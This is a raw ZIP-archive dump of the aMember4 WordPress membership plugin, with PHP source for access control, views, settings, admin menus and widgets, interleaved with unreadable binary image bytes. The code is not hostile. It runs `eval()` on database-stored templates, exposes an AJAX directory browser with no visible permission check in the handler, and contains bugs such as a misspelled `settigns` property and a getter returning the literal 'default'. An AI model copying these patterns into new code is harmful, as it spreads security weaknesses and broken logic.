addRecord(am4AccessCacheRecord $c) { $this->cache[] = $c; } function getRecords() { return $this->cache; } function checkRequirement(am4AccessRequirement $r) { foreach($this->getRecords() as $a){ if($r->checkAccess($a)) return true; } return false; } // return true when all requirements are true; function allTrue(Array $req) { $ret = true; foreach($req as $r){ $ret = $ret && $this->checkRequirement($r); } return $ret; } // return true when all requirements are false; function allFalse(Array $req) { $ret = false; foreach($req as $r){ $ret = $ret || $this->checkRequirement($r); } return !$ret; } // return true when any requirement is true; function anyTrue(Array $req) { foreach($req as $r){ if($this->checkRequirement($r)) return true; } return false; } //return false when any requirement is false; function anyFalse(Array $req) { foreach($req as $r){ if(!$this->checkRequirement($r)) return true; } } } class am4UserAccess extends am4Access { private $user_id; static $_cache = null; function __construct() { if($this->isLoggedIn()){ foreach((array)$this->getAccessCache() as $a){ $this->addRecord(new am4AccessCacheRecord(array( 'type' => ($a['fn'] == 'product_id' ? self::PRODUCT : self::CATEGORY), 'days' => $a['days'], 'payments_count' => $a['payments_count'], 'id' => $a['id'], 'status' => $a['status']))); } } } function isLoggedIn() { return am4PluginsManager::getAPI()->isLoggedIn(); } function isAffiliate() { $user = am4PluginsManager::getAPI()->getUser(); return ($user['is_affiliate'] > 0); } function getAccessCache() { if (is_null(self::$_cache)) { self::$_cache = am4PluginsManager::getAPI()->getAccessCache(); } return self::$_cache; } }PK\Azwz&z&Sprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/includes/view.phpnu[_fname = $fname; $this->_controller = $controller; $this->_type = $type; } static function init($name, am4PageController $controller=null, $type = self::TYPE_HTML){ return new self($name, $controller,$type); } function showErrors(){ if($this->errors){ foreach($this->errors as $e){ ?>
$name = $value; } function get($name){ return $this->$name; } function __get($name){ if(!array_key_exists($name, $this->_v)) return null; return $this->_v[$name]; } function __set($name,$value){ $this->_v[$name] = $value; } function fetch(){ foreach((array)$this->_v as $k=>$v){ $$k = $v; } ob_start(); $_info = pathinfo($this->_fname); $_fname = $_info['basename']; $templates = new am4_Settings_Templates(); if($templates->{$_fname}){ try{ eval("?>".$templates->{$_fname}); }catch(Exception $e){ print "Error in template: ".$e->getMessage(); } }else{ require($this->_fname); } $ret = ob_get_contents(); ob_end_clean(); switch($this->_type){ case self::TYPE_CSS : $ret = ""; break; case self::TYPE_JS : $ret = ""; break; case self::TYPE_HTML : default : break; } return $ret; } function render(){ echo $this->fetch(); } function fetchTemplateCode($path){ $info = pathinfo($path); $fname = $info['basename']; $templates = new am4_Settings_Templates(); if($templates->{$fname}){ eval("?>".$templates->{$fname}); }else{ require($path); } } function escape($subj, $esc_type=self::ESC_HTML){ if(is_array($subj)){ foreach($subj as $k=>$v){ $subj[$k] = $this->escape($v); } return $subj; } switch ($esc_type) { case self::ESC_HTML : return htmlspecialchars($subj, ENT_QUOTES); case self::HTMLALL : return htmlentities($subj, ENT_QUOTES); case self::URL : return urlencode($subj); case self::ESC_QUOTES : // escape unescaped single quotes return preg_replace("%(?'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n')); default: return $subj; } } function e($string, $esc_type=self::ESC_HTML){ echo $this->escape($string, $esc_type); } function getController(){ return $this->_controller; } function _action($ret=false){ if($ret) return $this->getController()->actionField(); print $this->getController()->actionField(); } function options(Array $options, $selected=false, $ret = false){ $o = ''; foreach($options as $k=>$v){ $o .= ""; } if($ret) return $o; print $o; } function pagesOptions($selected, $ret=false){ $pages = get_pages(); $o = array(); foreach($pages as $p){ $o[$p->ID] = $p->post_title; } return $this->options($o, $selected, $ret); } function checkboxes($name, Array $values, $selected, $ret=false){ if(!is_array($selected)) $selected = array($selected); $o = ''; foreach($values as $k=>$v){ $o .= "
"; } if($ret) return $o; print $o; } function addProductTitle($access){ $products = am4PluginsManager::getAMProducts(); $categories = am4PluginsManager::getAMCategories(); if($access){ foreach((array)$access as $t => $l){ foreach((array)$l as $id => $a){ $name = ($t == am4Access::CATEGORY ? @$categories[$id] : @$products[$id]); if($name) $access[$t][$id]['title'] = $name; } } } return $access; } function resourceAccess($id, $access=array(), $varname='access',$text=null, $without_period=false){ if(!$text) $text = __('Choose Products and/or Product Categories that allows access', 'am4-plugin'); $uniqid = uniqid('amw-'); ?>

' />

  • > e($e['name']);?> >>
initActions(); $this->initFilters(); return $this; } } class am4Basic extends am4Plugin { function action_AdminInit(){ wp_register_script("dirbrowser", plugins_url("/js/dirbrowser.js", dirname(__FILE__))); wp_register_script('amember-jquery-outerclick', plugins_url("/views/jquery.outerClick.js", dirname(__FILE__))); wp_register_script('amember-jquery-tabby', plugins_url("/views/jquery.textarea.js", dirname(__FILE__))); wp_register_script('amember-resource-access', plugins_url("/views/resourceaccess.js", dirname(__FILE__))); wp_register_style( 'jquery-style', '//ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/themes/redmond/jquery-ui.css', true); wp_register_style('amember-style', plugins_url("/views/admin_styles.css", dirname(__FILE__))); } function action_AdminPrintStyles(){ if(strstr(am4_get_current_screen()->id, 'am4-settings')!==false) wp_enqueue_style('jquery-style'); wp_enqueue_style('amember-style'); wp_enqueue_style("wp-jquery-ui-dialog"); } function action_AdminPrintScripts(){ wp_enqueue_script("amember-resource-access"); wp_enqueue_script("dirbrowser"); wp_enqueue_script('amember-jquery-outerclick'); wp_enqueue_script('amember-jquery-tabby'); wp_enqueue_script("jquery-ui-dialog"); } function action_WpLogout(){ header("Location: ".am4PluginsManager::getAPI()->getLogoutURL()); exit; } function filter_AdminUrl($url, $path){ if((strpos($path, 'profile.php') !== false) && !am4PluginsManager::skipProtection() && am4PluginsManager::getOption('profile_redirect')) { return am4PluginsManager::getAPI()->getProfileURL(); } return $url; } }PK\XK Tprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/includes/utils.phpnu[_data = $arr; } function setError($str){ $this->_data['error'] = $str; } function send(){ echo $this->__toString(); } function __get($name) { if(array_key_exists($name, $this->_data)) return $this->_data[$name]; else return false; } function __set($name, $value) { $this->_data[$name] = $value; } function __toString() { return json_encode($this->_data); } static function init($arr){ return new self($arr); } } class aMemberJsonError extends aMemberJson { function __construct($error){ $this->setError($error); } } class am4Request{ static $vars = array(); static $post = array(); static $get = array(); static $method = "GET"; const VARS = 'vars'; const GET = 'get'; const POST = 'post'; static function get($k,$default=''){ if(!array_key_exists($k, self::$vars)) return $default; return self::$vars[$k] ? self::$vars[$k] : 'default'; } static function getWord($k,$default=''){ $r = self::get($k, $default); return preg_replace('/[^a-zA-Z0-9]/', '', $r); } static function getInt($k,$default=''){ return intval(self::get($k,$default)); } static function defined($k){ return array_key_exists($k, self::$vars); } static function init(){ foreach($_GET as $k=>$v){ self::$vars[$k] = $v; self::$get[$k] = $v; } foreach($_POST as $k=>$v){ self::$vars[$k] = $v; self::$post[$k] = $v; } self::$method = $_SERVER['REQUEST_METHOD']; } } am4Request::init(); function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); }PK\}7_Vprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/includes/options.phpnu[load(); $this->rewind(); } public function get($key, $default = null) { if($this->isEmpty()) return $default; if(array_key_exists($key, $this->settings)) return $this->settings[$key]; return $default; } function __get($name){ return $this->get($name); } function __set($key, $value){ return $this->set($key, $value); } public function set($key, $value){ if (is_null($key)) { $this->settigns[] = $value; } else { $this->settings[$key] = $value; } return $this; } abstract public function save(); abstract public function load(); function isEmpty(){ return empty($this->settings); } function loadFromArray(Array $array){ $this->settings = $array; return $this; } function loadDefaults(Array $array){ foreach($array as $k =>$v){ $this->set($k, $v); } return $this; } function delete($key){ if(array_key_exists($key, $this->settings)) unset($this->settings[$key]); return $this; } public function offsetSet($offset, $value) { if (is_null($offset)) { $this->settigns[] = $value; } else { $this->settings[$offset] = $value; } } public function offsetExists($offset) { return isset($this->settings[$offset]); } public function offsetUnset($offset) { unset($this->settigns[$offset]); } public function offsetGet($offset) { $val = (isset($this->settings[$offset]) ? $this->settings[$offset] : null); return $val; } function rewind() { if(is_array($this->settings)) { reset($this->settings); $this->position = key($this->settings); } } function current() { return current($this->settings); } function key() { return key($this->settings); } function next() { next($this->settings); $this->position = key($this->settings); } function valid() { return isset($this->settings[$this->position]); } } class am4_Settings_Config extends am4_Settings_Abstract { /** * Name of option in database; */ protected $name = 'am4options'; function __construct($name=null){ if(!empty($name)) $this->name=$name; parent::__construct(); } public function save() { update_option($this->name, $this->settings); } public function load() { $this->settings = get_option($this->name, array()); return $this; } } class am4_Settings_Post_Meta extends am4_Settings_Abstract{ protected $name= 'am4options'; protected $post_id; public function __construct($post_id=null){ $this->setPostId($post_id); parent::__construct(); } public function load() { if($this->post_id){ $this->settings = get_post_meta($this->post_id, $this->name, true); if(!is_array($this->settings)) $this->settings = array(); } } public function save() { if(empty($this->post_id)) throw new Exception('Post ID is empty. Nothing to save!'); update_post_meta($this->post_id, $this->name, $this->settings); } function setPostId($post_id){ $this->post_id = $post_id; return $this; } } class am4_Settings_Category extends am4_Settings_Abstract { /** * Name of option in database; */ protected $name = 'am4catoptions'; protected $category; /** * * @var am4_Settings_Config */ protected $config; function __construct($category) { $this->category = $category; $this->config = new am4_Settings_Config($this->name); parent::__construct(); } public function save() { $this->config->set($this->category, $this->settings); $this->config->save(); } public function load() { $this->settings = $this->config->get($this->category, array()); return $this; } } class am4_Settings_Error extends am4_Settings_Config{ /** * Name of option in database; */ protected $name = 'am4errors'; function getTextByName($name){ foreach($this->settings as $k=>$v){ if(is_array($v) && array_key_exists("name", $v) && $v['name'] == $name) return @$v['text']; } return null; } function add(Array $value){ $this->settings[] = $value; return $this; } } class am4_Settings_Templates extends am4_Settings_Config { /** * Name of option in database; */ protected $name = 'am4styles'; } PK\U㦈 Uprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/img/ajax-loader.gifnu[GIF89a {{{222PPPհ! NETSCAPE2.0!Created with ajaxload.info! , IiabK$F RAT,2S*05//mp!z0;$0C.I*!HC(A@o!39T5\8) `dwxG=Y gwHbvA=0 V\\; ;H0t%HsrY'e$"\#E1CnĎ~J,,AaUw^4I%Pu Q33{0i1TGgwy}%%'R  = 3G%p0 JRo5Ȇ0IĦmykxT_}(^yKs>i_%n=q4e-M¤D! , I)*')Ed]PR A:!zrbw %6"G(d$["JFhaQP`p%†/BFP\cU ?TtW/pG&OtDa_sylD'M q tc b2DM : d% 4%s) uE3 YUtږD$JiM^%o/rvl9'L;99% i9 C "B BDs ^Xf}$P {L?P O4 E咛V$dJ#)pV$! , IiRͧ"Jd] RZN*P*;$P{*N\EА!1UO2D _r6Ib H8 B; "'ZtbK#C'Kw}?Kiz6:xKAC&}9tz\ \D5;x Qd( KW  MBIڈM=ˤs⸽8DaJ`@LG! , IiRͧ"Jd] RZN*P*;$P{*N\EА!1UO2D _r6Ib H8 B; "'ZtbK#C'KGziz68}z~%XK9:0}% tz\Blc LbQ   lj ųKň x(țPX ,ւ|/"! , IiRͧ"Jd] RZN*P*;$P{*N\EА!1UO2D _r6Ib H8 B; "'ZtbK#C'KGziz68}z~%:A/ C} u\ h}b D]=  V)  ڊ9CDK Ku *00StD! , IiRͧ"Jd] RZN*P*;$P{*N\EА!1UO2D _r6Ib H8 B; "'ZtbK#C'KGz z5 C: A/ C}u\ Eh}b6[=Wx&)I9Ԭ@oCT?Kd]B76ЫD! , IiRͧ"Jd] RZN*P*;$P{*N\EА!1UO2D _r6I ƀH03hոaj U {CIkmbK#cK8 {a8nV:/q:M Cu~Ehk6 [_6P.]6!)V! , IiRͧ"Jd]U RZN JjN2sK6 dI)  LHWG 6 KX젱.6d~zhuur/6 X5I;_t O#E {O9V94;VC/ 6Ø~*'MonbX:~]+V*mK_OrKN@.d~qЦDB֋ 5D;PK\ KNprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/img/lock.pngnu[PNG  IHDRasRGBbKGD pHYs  tIME 0t=;wIDAT8ekU$3&q`(ɴZQqق ҅ѝ+qQ dS d[ąn ҀNjb|PR4xM=<Ͻ2+faf]UlthoF9==Mwg0ptt}?@ݞ4Vk1!^3\.3;; C3{kuuufܢ(H%󅭭?b4EUyv|֨Z"r}ii`&z<`&@pUuOD!`f3`;y(%!(;;\߸ RⓏ##d|AyH`iڵfL> Y6 ^jS7bw\O^I*xt;?s߸wI2^k?f)I(@ % ˯f slhgetAll() as $n){ echo "

amember4 plugin: ".$n."

"; } } function getAll() { return $this->_notifications; } function add($notice) { $this->_notifications[] = $notice; } function init(){ parent::init(); foreach(get_class_methods($this) as $m){ if(preg_match("/^notification.*/", $m)){ $r = call_user_func(array($this, $m)); if($r) $this->add($r); } } } function notification_Suhosin(){ /* if(ini_get('suhosin.session.encrypt')) return __('IMPORTANT: Your system have suhosin.session.encrypt setting set to On in php.ini. This setting must be disabled!').'
'. __('Add this line to your public_html/.htaccess file: php_flag suhosin.session.encrypt Off in order to disable it').'
'. __('Or contact hosting support if this does not help'); */ } function notification_PDO(){ if(!class_exists('PDO')){ return __('PHP on your webhosting has no [pdo] extension enabled. Please ask the webhosting support to install it'); } } }PK\slug,'','',self::POSTION); foreach(get_declared_classes() as $c){ if(preg_match('/am4MenuPage_(\S+)/',$c,$regs)){ $this->addMenuItem("am4-".strtolower($regs[1]), $c); } } } function addMenuItem($slug, $class) { $title = call_user_func(array($class, 'getTitle')); $a = add_submenu_page($this->slug, $title, $title,'administrator', $slug, am4PluginsManager::createController($class)); if(method_exists($class, 'staticAction')){ add_action('load-'.$a, array($class, 'staticAction')); } } } class am4MenuPageController extends am4FormController { static function getTitle() { throw new Exception("getTitle should be overriden in childs"); } function preDispatch(){} } class am4MenuPageFormController extends am4MenuPageController { function preDispatch() { parent::preDispatch(); if(!current_user_can('manage_options')) return ''; // Verify nonce if(am4Request::$method=='POST' && !check_admin_referer(get_class())){ throw new Exception('Security check!'); } $this->amPostScript(); ?>

getTitle());?>

actionInput("save"); ?>
{'user_action'} || !$options->{'guest_action'}) $options->loadDefaults($this->getProtectionDefaults()); if(!$options->{'disable_protection'}) $options->{'disable_protection'} = array('administrator'); return $options; } function saveForm($post) { $options = new am4_Settings_Config(); $options->loadFromArray($post)->save(); } function validate($options) { try{ am4PluginsManager::initAPI(@$options['path']); }catch(Exception $ex){ return $ex->getMessage(); } return true; } static function staticAction() { if(am4Request::$method!='POST') return; if(!current_user_can('manage_options')) return; if(!check_admin_referer('am4MenuPageFormController')){ throw new Exception('Security check!'); } $options = get_magic_quotes_gpc() ? stripslashes_deep(am4Request::get('options')) : am4Request::get('options'); try { am4PluginsManager::initAPI(@$options['path']); } catch (Exception $e) {} } function doAjaxValidate() { if (($err = $this->validate(array('path' => am4Request::get('path')))) === true){ $am = Am_Lite::getInstance(); $e = new aMemberJson(); $e->valid=1; $e->url = $am->getRootURL(); echo $e; } else { $e = new aMemberJsonError($err); echo $e; } } function doAjaxBrowse() { $dirOrig = am4Request::get('dir', ABSPATH); $dirOrig = is_dir($dirOrig) ? $dirOrig : ABSPATH; $selected = am4Request::get('selected', false); $dir = ($selected) ? dirname($dirOrig) : $dirOrig; $dir = realpath($dir); if (!is_dir($dir)) { $dir = ABSPATH; } $dirList = $this->getDirList($dir); if ($selected) { foreach ($dirList as $k => $dirDescription) { if ($dirDescription['path'] == $dirOrig) { $dirList[$k]['selected'] = true; break; } } } $currentDir = $this->getCurrentDir($dir); $prevDir = $this->getPrevDir($dir); $result = array( 'dirList' => $dirList, 'currentDir' => $currentDir, 'prevDir' => $prevDir, 'separator' => DIRECTORY_SEPARATOR ); aMemberJson::init($result)->send(); } protected function getCurrentDir($dir) { $result = array(); $dirParts = explode(DIRECTORY_SEPARATOR, $dir); $path = array(); foreach ($dirParts as $part) { $path[]= $part; $part_path = implode(DIRECTORY_SEPARATOR, $path); $dir = array ( 'name' => $part, 'path' => ($this->checkChRoot($part_path) ? $part_path : null ) ); $result[] = $dir; } return $result; } protected function getPrevDir($dir) { $prevDir = null; $prevDirPath = dirname($dir); //root of file system if ($prevDirPath == $dir) return null; $dirParts = explode(DIRECTORY_SEPARATOR, $prevDirPath); $prevDirName = end($dirParts); if (is_dir( $prevDirPath ) ) { $prevDir = array ( 'name' => $prevDirName, 'path' => ($this->checkChRoot($prevDirPath) ? $prevDirPath : null) ); } return $prevDir; } protected function getDirList($dir) { $result = array(); $dirName = $dir; $dirHandler = opendir($dirName); while(false !== ($fn = readdir($dirHandler))) { if (is_dir($dirName . DIRECTORY_SEPARATOR . $fn) && !in_array($fn, array('..', '.'))) { $result[] = $this->getDirRecord($dirName, $fn); } } closedir($dirHandler); usort($result, function($a, $b) {return strcmp($a["name"], $b["name"]);}); return $result; } protected function getDirRecord($dirName, $fn) { $stat = stat($dirName . DIRECTORY_SEPARATOR . $fn); $dir = array( 'name' => $fn, 'path' => $dirName . DIRECTORY_SEPARATOR . $fn, 'url' => $this->guessUrl($dirName . DIRECTORY_SEPARATOR . $fn), 'perm' => $this->formatPermissions($stat['mode']), 'created' => $this->formatDate($stat['ctime']), 'selected' => false ); return $dir; } public function guessUrl($dir) { $documentRootFixed = str_replace('/', DIRECTORY_SEPARATOR, $_SERVER['DOCUMENT_ROOT']); //check if it is possible to calculate url if (strpos($dir, $documentRootFixed) !== 0) return false; $rootUrlMeta = parse_url(get_option('blog_url')); //combine url return sprintf('%s://%s%s/%s', @$rootUrlMeta['scheme'], @$rootUrlMeta['host'], (isset($rootUrlMeta['port']) ? ':' . @$rootUrlMeta['port'] : ''), trim(str_replace(DIRECTORY_SEPARATOR, '/', str_replace($documentRootFixed, '', $dir)), '/') ); } protected function formatPermissions($p){ $res = ''; $res .= ($p & 256) ? 'r' : '-'; $res .= ($p & 128) ? 'w' : '-'; $res .= ($p & 64) ? 'x' : '-'; $res .= ' '; $res .= ($p & 32) ? 'r' : '-'; $res .= ($p & 16) ? 'w' : '-'; $res .= ($p & 8) ? 'x' : '-'; $res .= ' '; $res .= ($p & 4) ? 'r' : '-'; $res .= ($p & 2) ? 'w' : '-'; $res .= ($p & 1) ? 'x' : '-'; return $res; } protected function formatDate($tm) { return strftime("%m/%d/%Y %H:%M:%S", $tm); } protected function checkChRoot($dir) { if (!is_null($this->chroot) && strpos($dir, $this->chroot)!==0) { return false; } else { return true; } } } /* class am4MenuPage_styles extends am4MenuPageFormController{ protected $styles = array('widget_login_form.phtml', 'widget_after_login.phtml'); static function getTitle(){ return __('Templates', 'am4-plugin'); } function saveForm($options){ foreach($options as $k=>$v){ if(!in_array($k,$this->styles)) unset($options[$k]); } foreach($this->styles as $f){ $file = file_get_contents(AM4_PLUGIN_DIR."/views/".$f); if(strcmp(trim($file), trim($options[$f]))=== 0) unset($options[$f]); } if($options){ $templates = new am4_Settings_Templates(); $templates->loadFromArray($options)->save(); } } function getOptions(){ $templates = new am4_Settings_Templates(); foreach($this->styles as $s){ if(!$templates->get($s)){ $templates->set($s, file_get_contents(AM4_PLUGIN_DIR."/views/".$s)); } } return $templates; } } */ class am4MenuPage_errormessages extends am4MenuPageFormController { protected $simple; function __construct($simple = false) { $this->simple = $simple; } static function getTitle() { return __('Error Messages', 'am4-plugin'); } function isSimple() { return $this->simple; } function postDispatch() { return; // doNothing; } function saveForm($options) { $errors = $this->getOptions(); if (isset($options['id']) && ($options['id']!== '')) { $errors->set(intval($options['id']), $options); } else { $errors->add($options); } $errors->save(); } function getOptions() { $errors = new am4_Settings_Error(); return $errors; } function doAjaxDelete() { $id = am4Request::getInt('id'); $errors = $this->getOptions(); $errors->delete($id)->save(); } }PK\:Nprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/amember4.phpnu[ Author URI: http://www.amember.com/ */ define("AM4_PLUGIN_DIR", WP_PLUGIN_DIR."/amember4"); define("AM4_PLUGIN_URL", site_url("/wp-content/plugins/amember4")); define("AM4_INCLUDES", AM4_PLUGIN_DIR."/includes"); if(!defined('DIRECTORY_SEPARATOR')) define('DIRECTORY_SEPARATOR', '/'); //register_activation_hook(AM4_PLUGIN_DIR."/amember4.php", "amember4_plugin_activated"); //register_deactivation_hook(AM4_PLUGIN_DIR."/amember4.php", "amember4_plugin_deactivated"); class am4PluginsManager { private static $__plugins = array(); private static $cache = array(); private static $api = null; /** * @var am4_Settings_Config */ private static $settings; static function get($name){ if(array_key_exists($name, self::$__plugins)) return self::$__plugins[$name]; return null; } static function getPlugin($name){ return self::get($name); } static function initPlugin($name){ // Check if plugin exists already; if(($plugin = self::get($name)) !== null) return $plugin; if(!class_exists($cname = "am4".ucfirst($name)) && is_file($plugin_file = dirname(__FILE__)."/".$name.".php")){ require_once($plugin_file); } if(class_exists($cname = "am4".ucfirst($name))){ $plugin = new $cname(); $plugin->init(); self::$__plugins[$name] = $plugin; return $plugin; } return null; } static function includes(){ include_once(AM4_INCLUDES . "/utils.php"); include_once(AM4_INCLUDES . "/plugin.php"); include_once(AM4_INCLUDES . "/controller.php"); include_once(AM4_INCLUDES . "/view.php"); include_once(AM4_INCLUDES . "/access.php"); include_once(AM4_INCLUDES . "/options.php"); } static function init() { load_plugin_textdomain('am4-plugin', false, basename(dirname(__FILE__)).'/languages'); self::includes(); self::initPlugin("basic"); self::initPlugin('notifications'); if(!self::checkDependencies()) return; self::initPlugin("menu"); if(self::isConfigured()){ self::initPlugin("protection"); self::initPlugin("shortcodes"); self::initPlugin("widgets"); self::initPlugin('tinymce'); } self::initAjaxActions(); } static function checkDependencies() { if(!class_exists('PDO')) { return false; } return true; } static function createController($name, $is_ajax=false){ $f = function() use ($name, $is_ajax) {$class = new $name; $class->{'run' . ($is_ajax ? 'Ajax' : '')}();}; return $f; } static function runController($name, $is_ajax=false){ call_user_func(self::createController($name, $is_ajax)); } static function initAjaxActions(){ foreach(get_declared_classes() as $cname){ if(is_subclass_of($cname, 'am4PageController')){ foreach(get_class_methods($cname) as $m){ if(preg_match("/^doAjax(.*)/", $m, $r)){ $hook = "wp_ajax_".am4PageController::getAjaxActionValue($cname); add_action($hook, self::createController($cname, am4PageController::AJAX)); break; } } } } } static function getOption($option){ if(empty(self::$settings)) self::$settings = new am4_Settings_Config (); return self::$settings->get($option); } static function getAmemberPath(){ return self::getOption("path"); } static function getAmemberURL(){ return self::getOption("url"); } static function selfURL($encode = true){ if(defined('DOING_AJAX')){ $url = $_SERVER['HTTP_REFERER']; }else{ if(!isset($_SERVER['REQUEST_URI'])){ $serverrequri = $_SERVER['PHP_SELF']; }else{ $serverrequri = $_SERVER['REQUEST_URI']; } $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); $url = $protocol."://".$_SERVER['SERVER_NAME'].$port.$serverrequri; } return ($encode ? base64_encode($url) : $url); } static function getLoginURL($redirect_back = true){ if($redirect_back){ $params = array( '_amember_redirect_url' => self::selfURL() ); $params = http_build_query($params, '', '&'); } return self::getAPI()->getLoginURL().($params ? "?".$params : ""); } static function initAPI($path=''){ $path = $path ? $path : self::getAmemberPath(); if($path === false) throw new Exception(__('aMember path is empty', 'am4-plugin')); if(!is_file($lite = $path.'/library/Am/Lite.php')) { throw new Exception(__('Specified path is not an aMember installation', 'am4-plugin')); } if(!class_exists('Am_Lite'))require_once($lite); } /** * * @return Am_Lite */ static function getAPI(){ if(!self::$api){ try{ self::initAPI(); self::$api = Am_Lite::getInstance(); }catch(Exception $e){ return false; } } return self::$api; } static function isConfigured(){ if(!self::getAPI()) return false; else return true; } static function getAMProducts(){ if(!array_key_exists("products", self::$cache)){ self::$cache['products'] = self::getAPI()->getProducts(false); foreach (self::$cache['products'] as $id => $title) self::$cache['products'][$id] = sprintf('(%d) %s', $id, $title); } return self::$cache['products']; } static function getAMCategories(){ if(!array_key_exists("categories", self::$cache)){ self::$cache['categories'] = self::getAPI()->getCategories(); } return self::$cache['categories']; } static function getWpRoles($skip_admin=false){ $roles = new WP_Roles; $ret = array(); foreach($roles->roles as $k=>$v){ if($skip_admin && ($k == 'administrator')) continue; $ret[$k] = @$v['name']; } return $ret; } static function skipProtection(){ // Fix for NextGen plugin if(!function_exists('wp_get_current_user')) return false; $current_user = wp_get_current_user(); if(!$current_user) return false; $master_roles = self::getOption('disable_protection'); $master_roles = array_merge((array) $master_roles, array('administrator')); if(array_intersect($master_roles, $current_user->roles)) return true; return false; } } //if(!defined('AM_VERSION')) am4PluginsManager::init();PK\.8.8Mprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/widgets.phpnu[ jQuery(document).ready(function($){ $('.am4-ajax-widget').each(function(){ $(this).load('{$ajax_url}', { action: 'am4-show-widget', id: $(this).attr('id') }); }); }); CUT; }); } function showWidget() { list(,$id) = explode('-', sanitize_key(@$_POST['id'])); if($id){ $settings = get_option('widget_am4login'); if(isset($settings[$id]) && is_array($settings[$id])){ echo the_widget('am4Widget_login', $settings[$id]); } } exit; } function action_WidgetsInit() { foreach(get_declared_classes() as $c) { if (preg_match("/am4Widget_\S+/", $c)) { register_widget($c); } } } function showWidgetProtectionBlock($widget, $instance) { $view = new am4View("widget_protection"); $view->assign("instance", $instance); $view->assign("widget", $widget); $view->render(); } function isWidgetAvailable($widget, $instance) { $api = am4PluginsManager::getAPI(); // Allow to see all widgets for admin users; if(am4PluginsManager::skipProtection()) return true; if(in_array('guest', (array)$instance['access'])){ return $api->isLoggedIn() ? false : true; } // Check access options; $access = new am4UserAccess(); $not_have = true; if (in_array('not_have', (array)$instance['access'])) { if ($access->allFalse(am4AccessRequirement::createRequirements($instance['not_have']))) { $not_have = true; } else { $not_have = false; } } $have = true; if (in_array('have', (array)$instance['access'])) { if ($access->anyTrue(am4AccessRequirement::createRequirements($instance['have']))){ $have = true; } else { $have = false; } } return $have && $not_have; } } class am4Widget_login extends WP_Widget { protected $elements; function __construct() { parent::__construct(false, __("aMember Widget", 'am4-plugin'),array('classname' => 'widget_text', 'description' => __('Login form and aMember subscriptions links', 'am4-plugin'))); $this->addFormElement("text", 'welcome_title', __('Welcome Title:', 'am4-plugin'), __('Welcome', 'am4-plugin')); $this->addFormElement("text", 'before_login_title', __('Before Login Title:', 'am4-plugin'), __('Login', 'am4-plugin')); $this->addFormElement("text", 'after_login_title', __('After Login Title:', 'am4-plugin'), __('Your Subscriptions', 'am4-plugin')); $this->addFormElement("text", 'password_title', __('Password Title', 'am4-plugin'), __('Password', 'am4-plugin')); $this->addFormElement("text", 'username_title', __('Username Title:', 'am4-plugin'), __('Login', 'am4-plugin')); $this->addFormElement("text", 'login_button_title', __('Login Button Title:', 'am4-plugin'), __('Login', 'am4-plugin')); $this->addFormElement("text", 'register_link_title', __('Register Link Title:', 'am4-plugin') , __('Signup Here', 'am4-plugin')); $this->addFormElement("text", 'lost_password_title', __('Lost Password Title:', 'am4-plugin'), __('Lost Password', 'am4-plugin')); $this->addFormElement("text", 'renew_subscription_title', __('Renew Subscription Title:', 'am4-plugin'),__('Renew Subscription', 'am4-plugin')); $this->addFormElement("text", 'dashboard_title', __('Dashboard Link Title:', 'am4-plugin'),__('Dashboard', 'am4-plugin')); $this->addFormElement("text", 'payment_history_title', __('Payment History Title:', 'am4-plugin'), __('Payment History', 'am4-plugin')); $this->addFormElement("text", 'logout_title', __('Logout Title:', 'am4-plugin'), __('Logout', 'am4-plugin')); $this->addFormElement("text", 'change_profile_title', __('Change Profile Title:', 'am4-plugin'), __('Edit Profile', 'am4-plugin')); $this->addFormElement("text", 'signup_page_url', __('Signup Page URL', 'am4-plugin') , am4PluginsManager::getAPI()->getSignupURL()); $this->addFormElement("text", 'renewal_page_url', __('Renewal Page URL', 'am4-plugin') , am4PluginsManager::getAPI()->getSignupURL()); $this->addFormElement("text", 'dashboard_page_url', __('Dashboard Page URL', 'am4-plugin') , am4PluginsManager::getAmemberURL()."/member"); $this->addFormElement("text", 'lost_password_page_url', __('Lost Password Page URL', 'am4-plugin'), am4PluginsManager::getAPI()->getSendpassURL()); $this->addFormElement("text", 'profile_page_url', __('Profile Page URL', 'am4-plugin') , am4PluginsManager::getAPI()->getProfileURL()); $this->addFormElement("text", 'history_page_url', __('Payment History Page URL', 'am4-plugin'), am4PluginsManager::getAmemberURL()."/member/payment-history"); $this->addFormElement("text", 'logout_page_url', __('Logout page URL', 'am4-plugin') , am4PluginsManager::getAPI()->getLogoutURL()); $this->addFormElement("checkbox",'amember_links', __('Active Subscriptions Links', 'am4-plugin'), 1); $this->addFormElement("checkbox",'renew_subscription_link', __('Renew subscription Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'dashboard_link', __('Member Dashboard Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'payment_history_link', __('Payment History Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'logout_link', __('Logout Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'register_link', __('Register Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'forgot_password_link', __('Forgot Password Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'change_profile_link', __('Change Profile Link', 'am4-plugin'), 1); $this->addFormElement("checkbox",'follow_amember_redirect_rules', __('Follow aMember redirect Rules', 'am4-plugin'),0); $this->addFormElement('checkbox', 'ajax_widget', __('Show ajax version of widget', 'am4-plugin'), 0); } function addFormElement($type, $name, $title, $default) { $this->elements[$type][$name] = array('type'=>$type, 'name'=>$name,'title'=>$title, 'default'=>$default); } function showElements($instance, $type) { foreach ($this->elements[$type] as $k=>$v){ switch ($type) { case 'text': $this->form_text_element($instance, $v['name'], $v['title']); break; case 'checkbox': $this->form_checkbox_element($instance, $v['name'], $v['title']); break; default: throw new Exception('Unknown element type: '.$type); } } } // Get string if defained; function load_defaults($instance) { $_d = array(); foreach ($this->elements as $v){ foreach ($v as 